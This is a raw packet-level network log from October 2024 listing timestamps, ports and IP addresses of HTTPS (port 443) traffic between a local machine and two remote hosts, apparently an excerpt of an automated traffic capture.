Oct 23, 2024 21:04:47.644737005 CEST	49989	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.644751072 CEST	443	49989	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.645081997 CEST	49990	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.645092010 CEST	443	49990	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.645370007 CEST	49990	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.645453930 CEST	49990	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.645458937 CEST	443	49990	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.678735018 CEST	443	49985	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.678809881 CEST	443	49985	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.678874016 CEST	49985	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.678883076 CEST	443	49985	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.678930044 CEST	443	49985	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.678978920 CEST	49985	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.679065943 CEST	49985	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.679071903 CEST	443	49985	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.679081917 CEST	49985	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.679085016 CEST	443	49985	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.681359053 CEST	49991	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.681390047 CEST	443	49991	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.681457996 CEST	49991	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.681622028 CEST	49991	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.681634903 CEST	443	49991	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.310914040 CEST	443	49987	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:48.315855026 CEST	49987	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:48.315865993 CEST	443	49987	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:48.317069054 CEST	443	49987	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:48.317415953 CEST	49987	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:48.317559958 CEST	49987	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:48.317565918 CEST	443	49987	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:48.317589045 CEST	443	49987	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:48.357161999 CEST	49987	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:48.397028923 CEST	443	49988	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.397458076 CEST	49988	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.397476912 CEST	443	49988	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.397984028 CEST	49988	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.397989035 CEST	443	49988	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.402362108 CEST	443	49990	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.402674913 CEST	49990	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.402688026 CEST	443	49990	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.403121948 CEST	49990	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.403126001 CEST	443	49990	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.419646978 CEST	443	49989	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.420078993 CEST	49989	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.420099974 CEST	443	49989	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.420747042 CEST	49989	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.420752048 CEST	443	49989	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.446952105 CEST	443	49991	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.447251081 CEST	49991	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.447262049 CEST	443	49991	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.447761059 CEST	49991	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.447765112 CEST	443	49991	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.475895882 CEST	443	49986	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.476309061 CEST	49986	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.476337910 CEST	443	49986	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.476684093 CEST	49986	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.476690054 CEST	443	49986	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.533355951 CEST	443	49988	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.533751011 CEST	443	49988	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.533869028 CEST	49988	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.537434101 CEST	49988	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.537451029 CEST	443	49988	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.537461042 CEST	49988	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.537467003 CEST	443	49988	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.538124084 CEST	443	49990	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.538201094 CEST	443	49990	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.538325071 CEST	443	49990	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.538362026 CEST	49990	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.538403034 CEST	49990	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.538516998 CEST	49990	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.538521051 CEST	443	49990	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.538544893 CEST	49990	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.538547993 CEST	443	49990	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.540381908 CEST	49992	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.540415049 CEST	443	49992	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.540494919 CEST	49992	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.540543079 CEST	49993	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.540576935 CEST	443	49993	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.540630102 CEST	49993	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.540699005 CEST	49992	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.540712118 CEST	443	49992	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.540766954 CEST	49993	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.540791035 CEST	443	49993	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.560583115 CEST	443	49989	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.560655117 CEST	443	49989	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.560702085 CEST	49989	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.560712099 CEST	443	49989	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.560776949 CEST	443	49989	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.560832977 CEST	49989	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.561041117 CEST	49989	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.561048985 CEST	443	49989	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.561059952 CEST	49989	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.561064959 CEST	443	49989	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.583844900 CEST	443	49991	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.584100008 CEST	443	49991	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.584187984 CEST	49991	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.613204002 CEST	443	49986	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.613281965 CEST	443	49986	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.613389969 CEST	49986	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.619111061 CEST	49994	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.619129896 CEST	443	49994	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.619281054 CEST	49994	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.619507074 CEST	49991	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.619513988 CEST	443	49991	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.619565010 CEST	49991	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.619570017 CEST	443	49991	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.681308985 CEST	49986	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.681308985 CEST	49986	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.681333065 CEST	443	49986	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.681375980 CEST	443	49986	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.709990978 CEST	49994	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.710006952 CEST	443	49994	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.735740900 CEST	49995	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.735761881 CEST	443	49995	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.735851049 CEST	49995	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.736401081 CEST	49995	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.736413956 CEST	443	49995	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.737658978 CEST	49996	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.737690926 CEST	443	49996	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:48.738152027 CEST	49996	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.739497900 CEST	49996	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:48.739511967 CEST	443	49996	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.055779934 CEST	443	49987	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:49.055871964 CEST	443	49987	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:49.056005001 CEST	49987	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:49.056359053 CEST	49987	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:49.056375980 CEST	443	49987	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:49.060235023 CEST	49997	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:49.060265064 CEST	443	49997	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:49.060517073 CEST	49997	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:49.064827919 CEST	49997	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:49.064837933 CEST	443	49997	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:49.327044010 CEST	443	49992	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.327708006 CEST	49992	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.327732086 CEST	443	49992	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.328391075 CEST	49992	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.328397989 CEST	443	49992	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.329232931 CEST	443	49993	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.329574108 CEST	49993	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.329606056 CEST	443	49993	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.330121994 CEST	49993	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.330127954 CEST	443	49993	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.457051992 CEST	443	49994	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.457519054 CEST	49994	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.457532883 CEST	443	49994	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.457911015 CEST	49994	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.457914114 CEST	443	49994	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.464561939 CEST	443	49992	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.464627981 CEST	443	49992	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.464699984 CEST	49992	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.464894056 CEST	49992	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.464903116 CEST	443	49992	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.464911938 CEST	49992	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.464915991 CEST	443	49992	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.466959000 CEST	443	49993	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.467109919 CEST	443	49993	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.467166901 CEST	49993	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.467219114 CEST	49993	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.467219114 CEST	49993	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.467245102 CEST	443	49993	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.467258930 CEST	443	49993	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.468022108 CEST	49998	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.468051910 CEST	443	49998	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.468122959 CEST	49998	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.468225956 CEST	49998	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.468246937 CEST	443	49998	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.469199896 CEST	49999	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.469243050 CEST	443	49999	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.469311953 CEST	49999	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.469435930 CEST	49999	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.469451904 CEST	443	49999	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.500678062 CEST	443	49996	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.501122952 CEST	49996	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.501142979 CEST	443	49996	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.501445055 CEST	49996	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.501456022 CEST	443	49996	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.508924961 CEST	443	49995	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.509197950 CEST	49995	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.509218931 CEST	443	49995	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.509529114 CEST	49995	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.509535074 CEST	443	49995	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.591654062 CEST	443	49994	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.594254971 CEST	443	49994	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.594307899 CEST	49994	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.594324112 CEST	443	49994	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.594367981 CEST	49994	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.594428062 CEST	49994	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.594443083 CEST	443	49994	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.594454050 CEST	49994	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.594459057 CEST	443	49994	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.596761942 CEST	50000	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.596784115 CEST	443	50000	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.596843958 CEST	50000	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.596982956 CEST	50000	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.596993923 CEST	443	50000	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.637234926 CEST	443	49996	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.637309074 CEST	443	49996	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.637362957 CEST	49996	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.641307116 CEST	49996	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.641324043 CEST	443	49996	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.641335964 CEST	49996	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.641341925 CEST	443	49996	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.644402027 CEST	50001	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.644433975 CEST	443	50001	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.644505024 CEST	50001	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.644792080 CEST	50001	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.644808054 CEST	443	50001	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.649193048 CEST	443	49995	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.649352074 CEST	443	49995	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.649409056 CEST	49995	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.649508953 CEST	49995	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.649522066 CEST	443	49995	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.649529934 CEST	49995	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.649534941 CEST	443	49995	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.658442020 CEST	50002	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.658456087 CEST	443	50002	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.658561945 CEST	50002	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.659044981 CEST	50002	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:49.659055948 CEST	443	50002	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:49.761286020 CEST	443	49997	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:49.761930943 CEST	49997	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:49.761946917 CEST	443	49997	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:49.763065100 CEST	443	49997	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:49.764007092 CEST	49997	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:49.764183998 CEST	443	49997	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:49.764214039 CEST	49997	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:49.808295965 CEST	49997	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:49.808307886 CEST	443	49997	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:50.279911995 CEST	443	49997	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:50.280096054 CEST	443	49997	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:50.280150890 CEST	49997	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:50.281799078 CEST	49997	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:50.281824112 CEST	443	49997	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:50.377747059 CEST	443	49998	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.378349066 CEST	49998	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.378371000 CEST	443	49998	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.379185915 CEST	49998	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.379194021 CEST	443	49998	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.379544020 CEST	443	49999	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.380309105 CEST	49999	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.380347013 CEST	443	49999	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.380892038 CEST	49999	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.380897999 CEST	443	49999	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.383133888 CEST	443	50000	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.383826971 CEST	50000	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.383860111 CEST	443	50000	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.384797096 CEST	50000	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.384804010 CEST	443	50000	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.422477007 CEST	443	50001	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.422779083 CEST	50001	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.422799110 CEST	443	50001	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.423223019 CEST	50001	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.423228025 CEST	443	50001	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.445456982 CEST	443	50002	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.446052074 CEST	50002	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.446082115 CEST	443	50002	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.446594000 CEST	50002	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.446598053 CEST	443	50002	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.515400887 CEST	443	49998	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.515454054 CEST	443	49998	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.515578032 CEST	443	49998	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.515609026 CEST	49998	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.515669107 CEST	49998	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.516061068 CEST	49998	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.516078949 CEST	443	49998	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.516113043 CEST	49998	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.516122103 CEST	443	49998	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.517246008 CEST	443	49999	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.517404079 CEST	443	49999	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.517551899 CEST	49999	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.518980026 CEST	49999	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.518991947 CEST	443	49999	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.519032001 CEST	49999	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.519037008 CEST	443	49999	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.520390987 CEST	443	50000	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.520411015 CEST	443	50000	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.520461082 CEST	50000	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.520469904 CEST	443	50000	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.520481110 CEST	443	50000	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.520524025 CEST	50000	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.523602962 CEST	50000	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.523610115 CEST	443	50000	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.523654938 CEST	50000	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.523659945 CEST	443	50000	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.528790951 CEST	50003	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.528819084 CEST	443	50003	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.529042006 CEST	50003	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.529696941 CEST	50004	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.529709101 CEST	443	50004	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.529778004 CEST	50005	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.529805899 CEST	443	50005	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.529812098 CEST	50004	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.529863119 CEST	50005	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.536377907 CEST	50003	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.536391020 CEST	443	50003	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.537024975 CEST	50004	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.537038088 CEST	443	50004	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.537245035 CEST	50005	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.537260056 CEST	443	50005	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.561180115 CEST	443	50001	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.561239004 CEST	443	50001	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.561285019 CEST	50001	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.561295033 CEST	443	50001	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.561367035 CEST	443	50001	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.561410904 CEST	50001	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.561453104 CEST	50001	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.561465979 CEST	443	50001	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.561474085 CEST	50001	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.561479092 CEST	443	50001	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.564137936 CEST	50006	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.564152002 CEST	443	50006	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.564203024 CEST	50006	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.564372063 CEST	50006	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.564385891 CEST	443	50006	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.583612919 CEST	443	50002	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.583668947 CEST	443	50002	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.583731890 CEST	50002	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.583739042 CEST	443	50002	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.583807945 CEST	443	50002	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.583865881 CEST	50002	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.583878994 CEST	50002	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.583884954 CEST	443	50002	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.583893061 CEST	50002	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.583897114 CEST	443	50002	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.585767984 CEST	50007	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.585793972 CEST	443	50007	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:50.585887909 CEST	50007	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.586040974 CEST	50007	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:50.586055994 CEST	443	50007	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.293123007 CEST	443	50004	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.294399023 CEST	50004	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.294410944 CEST	443	50004	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.295448065 CEST	50004	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.295454025 CEST	443	50004	13.107.253.45	192.168.2.6
